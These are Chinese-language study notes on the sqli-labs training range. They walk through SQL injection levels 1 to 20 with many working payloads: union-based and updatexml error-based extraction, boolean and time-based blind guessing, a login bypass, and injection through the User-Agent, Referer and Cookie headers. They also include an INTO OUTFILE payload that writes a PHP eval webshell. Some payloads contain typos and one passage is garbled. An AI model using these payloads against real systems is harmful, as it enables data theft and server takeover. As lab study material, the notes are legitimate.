sql-labs靶场笔记
基本步骤
SQL注入的基本流程
1.1 判断注入点
输入点分析:首先,需要识别应用程序中的输入点,包括用户输入的表单字段、URL参数、Cookie等。
尝试注入:在识别到可能的注入点后,可以尝试在这些输入点中插入一些特殊字符(如单引号 '、双引号 "、分号 ; 等)来观察应用程序的反应。如果应用程序返回错误信息、显示异常或者执行了不正常的操作,可能表示存在SQL注入漏洞。
1.2 报错猜解
构造恶意输入:攻击者在注入点插入恶意的SQL代码,例如在一个输入框中输入 ’ OR 1=1;–,以尝试触发SQL注入漏洞。
触发报错:攻击者通过构造的恶意输入,试图触发应用程序返回数据库错误信息。例如,攻击者可能会在注入点中插入一个不存在的列名或表名,导致数据库执行错误并返回相关错误信息。
3.解析错误信息:应用程序返回的错误信息中可能包含数据库相关的信息,如数据库类型、表名、列名等。攻击者可以通过解析这些错误信息来获取敏感数据或了解数据库结构。
步骤
判断是否存在注入:?id=1’ and 1=1 --qwq
判断字段数:?id=1’ order by 3 --qwq
判断显错位:?id=10’ union select 1,2,3 --qwq
判断库名:?id=10’ unon select 1,database(),3 --qwq
判断表名:?id=10’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ --qwq
判断列名:?id=10’ union select 1,colums_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ --qwq
判断数据:?id=1’ union select i,id,3 from emails -qwq
杂项
在 information_schema.tables 表中,table_schema 标识了每个表所属的数据库。通过该列可以筛选出特定数据库下的所有表。
在 information_schema.columns 表中,table_schema 同样表示列所属表所在的数据库,结合 table_name 列可以定位到具体的表和列。
emails,referers,uagents,users
具体题目
1-4
1 联合查询
2 数字类型
3 ')类型
4 ")类型
5-6报错
updatexml ()
updatexml()更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新原丙容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了。
但是报错的时候他其实已经执行了那个子查询代码![0x7e实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错] ~~
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- q
必须在–与q之间加一个空格语法才对为啥
?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) – qwa
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) – qwa
7outfile
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取
敏感文件或者写入webshell,其中比较常用的函数有以下三个
into dumpfile()
into outfile()
load_file()
union select 1,’ <? php eval($_REQUEST[8])?>'into outfile 'c:/phpstudy/www/1.php
这些都是需要设置secure_file_priv,如果他为空则可以指定任意目录,如果有设置等于某个路径就只能在这个指定路径下,而他为null时则禁止导入导出功能
show variables like ‘%secure%’;
使用上面这个命令可以查看 secure-file-priv 当前的值,如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置
2、into outfile 写文件 用法: select ‘mysql is very good’ into outfile ‘test1.txt’;
这里想要成功实现需要同时满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
这 里想要成功实现需要同时满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\aaa.php" --+
8-14盲注
猜解库名长度
?id=1’ and (length(database()))=8 – qwe
利用ASCII码猜解当前数据库名称:
用bp去爆
?id=1’and(ascii(substr(database(),1,1)))=115 – qwe返回正常,说明数据库名称第一位是s
?id=1’ and(ascii(substr(database(),2,1)))=101 – qwe返回正常,说明数据库名称第二位是e
猜表名:
?id=1’ and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101 – qwe如果返回正常,说明数据库表名的一个的第一位是e
猜字段名
and (ascii(substr((select column_name from information_schema.columns where
table_name=‘emails’ limit 0,1),1,1)))=105-qwe如果返回正常,说明emails表中的列名称第一位是i
9
9 时间盲注
同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能
再用刚刚布尔盲注的做法了,要尝试使用时忽盲注
猜解库名长度
?id=1’ and if (length(database())=8,sleep(5),1) – qwe
利用ASCII码猜解当前数据库名称:
?id=1’ and if ((ascii(substr(database().1,1))=115),sleep(5),1) – qwe延时,说明数据库名称第一
位是s
?id=1’ and if ((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=101),sleep(5),1) – qwe 延时,说明数据库名称第二位
是e
猜表名:
?id=1’ and if ((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=101),sleep(5),1) – qwe延时,说明数据库表名的第
位是e
猜字段名
?id=1’ and if ((ascii(substr((select column_name from information_schema.columns where
table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1) – qwe如果返回正常,说明emails表中的列名称
第一位是i
11post注入
11
11
看到十一题首先就能发现,他的传参方式和以往是不同的,这次变成了post传参,但他们的注入方式是差不多的
在源文件中:
“SELECT username, password FROM users WHERE username=‘
u
n
a
m
e
′
a
n
d
p
a
s
s
w
o
r
d
=
′
uname' and password='
uname′andpassword=′passwd’ LIMIT 0,1”;
尝试万能密码:'or 1=1 – qwe //将后面的password给注释掉了
判断字段数:'or 1=1 order by 2 – qwe
判断显错位:'union select 1,2 – qwe
判断库名:'union select 1,database() – qwe
判断表名 :? id=10’union select 1,table_name from
information_schema.tables where table_schema=‘security’ – qwe
判断列名 :? id=10’union select 1,column_name from information_schema.columns where
table_schema=‘security’ and table_name=‘emails’ – qwe
判断数据 :? id=10’union select 1,id from emails – qwe
12
和11一样就是")注入
13报错
另一种传参的报错注入
判断是否存在注入 :? id=1’and 1=1-- qwe
判断库名:')and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) – qwe
判断表名:')and updatexml(1,concat(0x7e,(select table_name from information_schema.tables
where table_schema='security’limit 0,1),0x7e),1) – qwe
判断列名:')and updatexml(1,concat(0x7e,(select column_name from
information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit
0,1),0x7e),1) – qwe
判断数据:')and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) – qwe
14
和13一样"
15 布尔盲注post
猜解库名长度
or (length(database()))=8 – qwe
利用ASCII码猜解当前数据库名称:
'or(ascii(substr(database(),1,1)))=115 – gwe返回正常,说明数据库名称第一位是s
'or(ascii(substr(database(),2,1)))=101 – qwe返回正常,说明数据库名称第二位是e
猜表名:
’ or (ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))=101 – qwe如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
'or (ascii(substr((select column_name from information_schema.columns where table_name=‘emails’
limit 0,1),1,1)))=105-qwe如果返回正常,说明emails表中的列名称第一位是i
16
和15一样,改为")
17 存在过滤 报错
从17关开始,后端对我们输入的内容有了一些过滤,对用户名进行了过滤
密码存在sql注入
对密码进行报错注入
18 user-agent
显示我们的ip,一旦发现记录了我们浏览器的信息或者ip信息之类就要想到头注入
User-Agent浏览器的身份标识字符串
Referer表示浏览器所访问的前一个页面,可以认为是之前访问页面
的链接将浏览器带到了当前页面。
Accept可接受的响应内容类型(Content-Types)。
X-Forwarded-For可以用来表示HTTP请求端真实IP
Date发送该消息的日期和时间
可以看到这里登录成功之后显示出了user-Agent
既然User-Agent可以显示到页面中,那么我们就可以尝试抓包然后在User-Agent中进行注入
对源码分析可知,user_agent会和sql拼接到一起
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
首先要先登陆成功才能显示
判断数据库名
'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1) – qwe
可以看出来后面比之前多出来,1,1)是为了代替后面的’$IP’, $uname)";
判断表名
'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables
where table_schema='security’limit 0,1),0x7e),1),1,1) – qwe
判断列名:'and updatexml(1,concat(0x7e,(select column_name from
information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit
0,1),0x7e),1),1,1) – qwe
查找数据’and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1),1,1) – qwe
19 refer回显
登录成功显示的是Referer信息
既然referer可以显示到页面中,那么我们就可以尝试抓包然后在referer中进行注入
和18一样
20 cookie回显
登录成功之后会显示cookie是我们的用户名
必须登录成功
cookie是可以显示到页面,就可以利用抓包然后修改cookie的值为注入语句来注入出数据
这个注入点把payload直接写在后面就行
有回显可以union注入